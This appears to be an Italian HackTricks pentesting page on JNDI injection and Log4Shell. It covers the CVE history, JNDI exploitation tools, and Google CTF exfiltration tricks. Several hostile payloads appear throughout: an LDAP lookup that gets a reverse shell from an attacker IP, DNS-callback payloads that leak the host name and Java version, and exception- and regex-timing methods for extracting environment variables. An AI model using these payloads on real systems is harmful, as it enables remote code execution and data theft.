Learn & practice AWS Hacking:<imgsrc="/.gitbook/assets/arte.png"alt=""data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<imgsrc="/.gitbook/assets/arte.png"alt=""data-size="line">\
Learn & practice GCP Hacking: <imgsrc="/.gitbook/assets/grte.png"alt=""data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<imgsrc="/.gitbook/assets/grte.png"alt=""data-size="line">](https://training.hacktricks.xyz/courses/grte)
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
JNDI, integrato in Java dalla fine degli anni '90, funge da servizio di directory, consentendo ai programmi Java di localizzare dati o oggetti attraverso un sistema di denominazione. Supporta vari servizi di directory tramite interfacce di provider di servizio (SPI), consentendo il recupero di dati da diversi sistemi, inclusi oggetti Java remoti. Le SPI comuni includono CORBA COS, Java RMI Registry e LDAP.
* **Reference Addresses**: Specifica la posizione di un oggetto (ad es., _rmi://server/ref_), consentendo il recupero diretto dall'indirizzo specificato.
* **Remote Factory**: Riferisce a una classe factory remota. Quando viene accesso, la classe viene scaricata e istanziata dalla posizione remota.
* **RMI**: `java.rmi.server.useCodeabseOnly = true` per impostazione predefinita da JDK 7u21, limitando il caricamento di oggetti remoti. Un Security Manager limita ulteriormente ciò che può essere caricato.
* **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` per impostazione predefinita da JDK 6u141, 7u131, 8u121, bloccando l'esecuzione di oggetti Java caricati da remoto. Se impostato su `true`, l'esecuzione di codice remoto è possibile senza la supervisione di un Security Manager.
Tuttavia, il **Naming Manager**, responsabile della risoluzione dei collegamenti JNDI, manca di meccanismi di sicurezza integrati, consentendo potenzialmente il recupero di oggetti da qualsiasi fonte. Ciò rappresenta un rischio poiché le protezioni RMI, LDAP e CORBA possono essere eluse, portando al caricamento di oggetti Java arbitrari o sfruttando componenti esistenti dell'applicazione (gadgets) per eseguire codice malevolo.
Nonostante le protezioni, rimangono vulnerabilità, principalmente a causa della mancanza di salvaguardie contro il caricamento di JNDI da fonti non attendibili e la possibilità di eludere le protezioni esistenti.
Anche se hai impostato un **`PROVIDER_URL`**, puoi indicarne uno diverso in un lookup e verrà accesso: `ctx.lookup("<attacker-controlled-url>")` e questo è ciò che un attaccante sfrutterà per caricare oggetti arbitrari da un sistema controllato da lui.
* Permessi di lettura file, sia universalmente (`permission java.io.FilePermission "<<ALLFILES>>", "read";`) o per directory specifiche in cui potrebbero essere posizionati file dannosi.
Per RMI (Remote Method Invocation), la situazione è leggermente diversa. Come con CORBA, il download di classi arbitrarie è limitato per impostazione predefinita. Per sfruttare RMI, di solito è necessario eludere il Security Manager, un'impresa rilevante anche in CORBA.
Prima di tutto, dobbiamo distinguere tra una Ricerca e un Lookup.\
Una **ricerca** utilizzerà un URL come `ldap://localhost:389/o=JNDITutorial` per trovare l'oggetto JNDITutorial da un server LDAP e **recuperare i suoi attributi**.\
Un **lookup** è destinato ai **servizi di denominazione** poiché vogliamo ottenere **qualunque cosa sia legata a un nome**.
Un **attaccante può avvelenare i record LDAP introducendo payload** su di essi che verranno eseguiti nei sistemi che li raccolgono (molto utile per **compromettere decine di macchine** se hai accesso al server LDAP). Un altro modo per sfruttare questo sarebbe eseguire un **attacco MitM in una ricerca LDAP**, ad esempio.
Nel caso tu possa **far risolvere a un'app un URL JNDI LDAP**, puoi controllare l'LDAP che verrà cercato e potresti restituire lo sfruttamento (log4shell).
La vulnerabilità è introdotta in Log4j perché supporta una [**sintassi speciale**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) nella forma `${prefix:name}` dove `prefix` è uno dei diversi [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) dove `name` dovrebbe essere valutato. Ad esempio, `${java:version}` è la versione attualmente in esecuzione di Java.
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) ha introdotto una funzionalità di Lookup `jndi`. Questa funzionalità consente il recupero di variabili tramite JNDI. Tipicamente, la chiave è automaticamente prefissata con `java:comp/env/`. Tuttavia, se la chiave stessa include un **":"**, questo prefisso predefinito non viene applicato.
Con un **: presente** nella chiave, come in `${jndi:ldap://example.com/a}` non c’è **nessun prefisso** e il **server LDAP viene interrogato per l'oggetto**. E questi Lookups possono essere utilizzati sia nella configurazione di Log4j sia quando vengono registrate le righe.
Pertanto, l'unica cosa necessaria per ottenere RCE è una **versione vulnerabile di Log4j che elabora informazioni controllate dall'utente**. E poiché questa è una libreria ampiamente utilizzata dalle applicazioni Java per registrare informazioni (incluse le applicazioni esposte a Internet), era molto comune avere log4j che registrava, ad esempio, gli header HTTP ricevuti come il User-Agent. Tuttavia, log4j **non è utilizzato solo per registrare informazioni HTTP ma qualsiasi input** e dati indicati dallo sviluppatore.
Questa vulnerabilità è un difetto critico di **deserializzazione non attendibile** nel componente `log4j-core`, che colpisce le versioni da 2.0-beta9 a 2.14.1. Consente **l'esecuzione di codice remoto (RCE)**, consentendo agli attaccanti di prendere il controllo dei sistemi. Il problema è stato segnalato da Chen Zhaojun del Alibaba Cloud Security Team e colpisce vari framework Apache. La correzione iniziale nella versione 2.15.0 era incompleta. Le regole Sigma per la difesa sono disponibili ([Regola 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [Regola 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)).
Inizialmente valutato come basso ma successivamente aggiornato a critico, questo CVE è un difetto di **Denial of Service (DoS)** risultante da una correzione incompleta in 2.15.0 per CVE-2021-44228. Colpisce configurazioni non predefinite, consentendo agli attaccanti di causare attacchi DoS tramite payload creati. Un [tweet](https://twitter.com/marcioalm/status/1471740771581652995) mostra un metodo di bypass. Il problema è stato risolto nelle versioni 2.16.0 e 2.12.2 rimuovendo i modelli di lookup dei messaggi e disabilitando JNDI per impostazione predefinita.
Colpisce le **versioni Log4j 1.x** in configurazioni non predefinite che utilizzano `JMSAppender`, questo CVE è un difetto di deserializzazione non attendibile. Non è disponibile alcuna correzione per il ramo 1.x, che è giunto a fine vita, e si raccomanda di aggiornare a `log4j-core 2.17.0`.
Questa vulnerabilità colpisce il **framework di logging Logback**, successore di Log4j 1.x. Inizialmente ritenuto sicuro, il framework è stato trovato vulnerabile, e sono state rilasciate versioni più recenti (1.3.0-alpha11 e 1.2.9) per affrontare il problema.
Log4j 2.16.0 contiene un difetto DoS, portando al rilascio di `log4j 2.17.0` per correggere il CVE. Maggiori dettagli sono nel [report di BleepingComputer](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/).
Colpisce la versione log4j 2.17, questo CVE richiede che l'attaccante controlli il file di configurazione di log4j. Comporta una potenziale esecuzione di codice arbitrario tramite un JDBCAppender configurato. Maggiori dettagli sono disponibili nel [post del blog di Checkmarx](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
Questa vulnerabilità è molto facile da scoprire se non protetta perché invierà almeno una **richiesta DNS** all'indirizzo che indichi nel tuo payload. Pertanto, payload come:
Nota che **anche se viene ricevuta una richiesta DNS, ciò non significa che l'applicazione sia sfruttabile** (o anche vulnerabile), dovrai provare a sfruttarla.
o come `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** e se viene ricevuta una **richiesta DNS con il valore della variabile env**, sai che l'applicazione è vulnerabile.
Gli host che eseguono versioni JDK superiori a 6u141, 7u131 o 8u121 sono protetti contro il vettore di attacco del caricamento della classe LDAP. Questo è dovuto alla disattivazione predefinita di `com.sun.jndi.ldap.object.trustURLCodebase`, che impedisce a JNDI di caricare un codice remoto tramite LDAP. Tuttavia, è fondamentale notare che queste versioni **non sono protette contro il vettore di attacco della deserializzazione**.
Per gli attaccanti che mirano a sfruttare queste versioni JDK superiori, è necessario sfruttare un **gadget fidato** all'interno dell'applicazione Java. Strumenti come ysoserial o JNDIExploit sono spesso utilizzati a questo scopo. Al contrario, sfruttare versioni JDK inferiori è relativamente più facile poiché queste versioni possono essere manipolate per caricare ed eseguire classi arbitrarie.
Per **maggiori informazioni** (_come le limitazioni sui vettori RMI e CORBA_) **controlla la sezione precedente sulla Riferimento JNDI Naming** o [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
Usa lo strumento [**marshalsec**](https://github.com/mbechler/marshalsec) (versione jar disponibile [**qui**](https://github.com/RandomRobbieBF/marshalsec-jar)). Questo approccio stabilisce un server di referral LDAP per reindirizzare le connessioni a un server HTTP secondario dove sarà ospitato l'exploit:
Compila il file Java in un file di classe usando: `javac Exploit.java -source 8 -target 8`. Successivamente, avvia un **server HTTP** nella directory contenente il file di classe con: `python3 -m http.server`. Assicurati che il **server LDAP marshalsec** faccia riferimento a questo server HTTP.
**Nota:** Questo exploit si basa sulla configurazione di Java per consentire il caricamento di codebase remote tramite LDAP. Se ciò non è consentito, considera di sfruttare una classe fidata per l'esecuzione di codice arbitrario.
Nota che per qualche motivo l'autore ha rimosso questo progetto da github dopo la scoperta di log4shell. Puoi trovare una versione cache in [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) ma se vuoi rispettare la decisione dell'autore usa un metodo diverso per sfruttare questa vulnerabilità.
Inoltre, non puoi trovare il codice sorgente nella wayback machine, quindi analizza il codice sorgente o esegui il jar sapendo che non sai cosa stai eseguendo.
Per questo esempio puoi semplicemente eseguire questo **server web vulnerabile a log4shell** sulla porta 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_nel README troverai come eseguirlo_). Questa app vulnerabile sta registrando con una versione vulnerabile di log4shell il contenuto dell'intestazione della richiesta HTTP _X-Api-Version_.
Dopo aver letto il codice per un paio di minuti, in _com.feihong.ldap.LdapServer_ e _com.feihong.ldap.HTTPServer_ puoi vedere come vengono **creati i server LDAP e HTTP**. Il server LDAP capirà quale payload deve essere servito e reindirizzerà la vittima al server HTTP, che servirà l'exploit.\
In _com.feihong.ldap.gadgets_ puoi trovare **alcuni gadget specifici** che possono essere utilizzati per eseguire l'azione desiderata (potenzialmente eseguire codice arbitrario). E in _com.feihong.ldap.template_ puoi vedere le diverse classi di template che **genereranno gli exploit**.
**Ricorda di controllare `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` per altre opzioni di sfruttamento. Inoltre, nel caso ne avessi bisogno, puoi cambiare la porta dei server LDAP e HTTP.**
In modo simile all'exploit precedente, puoi provare a utilizzare [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) per sfruttare questa vulnerabilità.\
Puoi generare gli URL da inviare alla vittima eseguendo:
_Questo attacco utilizzando un oggetto java generato su misura funzionerà in laboratori come la **THM solar room**. Tuttavia, questo generalmente non funzionerà (poiché per impostazione predefinita Java non è configurato per caricare un codice remoto utilizzando LDAP) penso perché non sta abusando di una classe fidata per eseguire codice arbitrario._
[https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) è un altro strumento per generare **link JNDI funzionanti** e fornire servizi di backend avviando server RMI, server LDAP e server HTTP.\
Questa opzione è davvero utile per attaccare **versioni Java configurate per fidarsi solo di classi specificate e non di tutti**. Pertanto, **ysoserial** sarà utilizzato per generare **serializzazioni di classi fidate** che possono essere utilizzate come gadget per **eseguire codice arbitrario** (_la classe fidata abusata da ysoserial deve essere utilizzata dal programma java della vittima affinché l'exploit funzioni_).
Utilizzando **ysoserial** o [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) puoi creare l'exploit di deserializzazione che sarà scaricato da JNDI:
Usa [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) per generare **link JNDI** dove l'exploit attenderà connessioni dalle macchine vulnerabili. Puoi servire **diversi exploit che possono essere generati automaticamente** dal JNDI-Exploit-Kit o anche i tuoi **payload di deserializzazione** (generati da te o da ysoserial).
Ora puoi facilmente utilizzare un link JNDI generato per sfruttare la vulnerabilità e ottenere una **reverse shell** semplicemente inviando a una versione vulnerabile di log4j: **`${ldap://10.10.14.10:1389/generated}`**
In questo [**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) è ben spiegato come sia **potenzialmente possibile****abusare** di alcune funzionalità di **Log4J**.
> A partire dalla versione 2.16.0 (per Java 8), la **funzionalità di ricerca dei messaggi è stata completamente rimossa**. **Le ricerche nella configurazione funzionano ancora**. Inoltre, Log4j ora disabilita l'accesso a JNDI per impostazione predefinita. Le ricerche JNDI nella configurazione devono ora essere abilitate esplicitamente.
> A partire dalla versione 2.17.0 (e 2.12.3 e 2.3.1 per Java 7 e Java 6), **solo le stringhe di ricerca nella configurazione vengono espanse ricorsivamente**; in qualsiasi altro utilizzo, solo la ricerca di primo livello viene risolta, e le ricerche annidate non vengono risolte.
Questo significa che per impostazione predefinita puoi **dimenticare di utilizzare qualsiasi exploit `jndi`**. Inoltre, per eseguire **ricerche ricorsive** è necessario configurarle.
In [questo CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) l'attaccante controllava il valore di `${sys:cmd}` e doveva esfiltrare il flag da una variabile di ambiente.\
Come visto in questa pagina in [**payload precedenti**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) ci sono diversi modi per accedere alle variabili di ambiente, come: **`${env:FLAG}`**. In questo CTF questo era inutile, ma potrebbe non esserlo in altri scenari della vita reale.
Nel CTF, **non potevi accedere allo stderr** dell'applicazione java usando log4J, ma le **eccezioni di Log4J vengono inviate a stdout**, che veniva stampato nell'app python. Questo significava che attivando un'eccezione potevamo accedere al contenuto. Un'eccezione per esfiltrare il flag era: **`${java:${env:FLAG}}`.** Questo funziona perché **`${java:CTF{blahblah}}`** non esiste e un'eccezione con il valore del flag verrà mostrata:
Solo per menzionarlo, potresti anche iniettare nuovi [**pattern di conversione**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) e attivare eccezioni che verranno registrate in `stdout`. Ad esempio:
Questo non è stato trovato utile per esfiltrare dati all'interno del messaggio di errore, perché la ricerca non veniva risolta prima del pattern di conversione, ma potrebbe essere utile per altre cose come il rilevamento.
Tuttavia, è possibile utilizzare alcuni **pattern di conversione che supportano regex** per esfiltrare informazioni da una ricerca utilizzando regex e abusando dei comportamenti **di ricerca binaria** o **basati sul tempo**.
Il pattern di conversione **`%replace`** può essere utilizzato per **sostituire****contenuto** da una **stringa** anche utilizzando **regex**. Funziona in questo modo: `replace{pattern}{regex}{substitution}`\
Abusando di questo comportamento potresti far sì che la sostituzione **attivi un'eccezione se la regex corrispondeva** a qualcosa all'interno della stringa (e nessuna eccezione se non veniva trovata) in questo modo:
Come menzionato nella sezione precedente, **`%replace`** supporta **regexes**. Quindi è possibile utilizzare un payload dalla [**pagina ReDoS**](../regular-expression-denial-of-service-redos.md) per causare un **timeout** nel caso in cui il flag venga trovato.\
In questo [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), invece di utilizzare un attacco ReDoS, ha utilizzato un **attacco di amplificazione** per causare una differenza di tempo nella risposta:
> Se il flag inizia con `flagGuess`, l'intero flag viene sostituito con 29 `#`-s (ho usato questo carattere perché probabilmente non farebbe parte del flag). **Ognuno dei 29 `#`-s risultanti viene quindi sostituito da 54 `#`-s**. Questo processo viene ripetuto **6 volte**, portando a un totale di ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!**
> Sostituire così tanti `#`-s attiverà il timeout di 10 secondi dell'applicazione Flask, il che a sua volta comporterà l'invio del codice di stato HTTP 500 all'utente. (Se il flag non inizia con `flagGuess`, riceveremo un codice di stato diverso da 500)
Impara e pratica Hacking AWS:<imgsrc="/.gitbook/assets/arte.png"alt=""data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<imgsrc="/.gitbook/assets/arte.png"alt=""data-size="line">\
Impara e pratica Hacking GCP: <imgsrc="/.gitbook/assets/grte.png"alt=""data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<imgsrc="/.gitbook/assets/grte.png"alt=""data-size="line">](https://training.hacktricks.xyz/courses/grte)
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.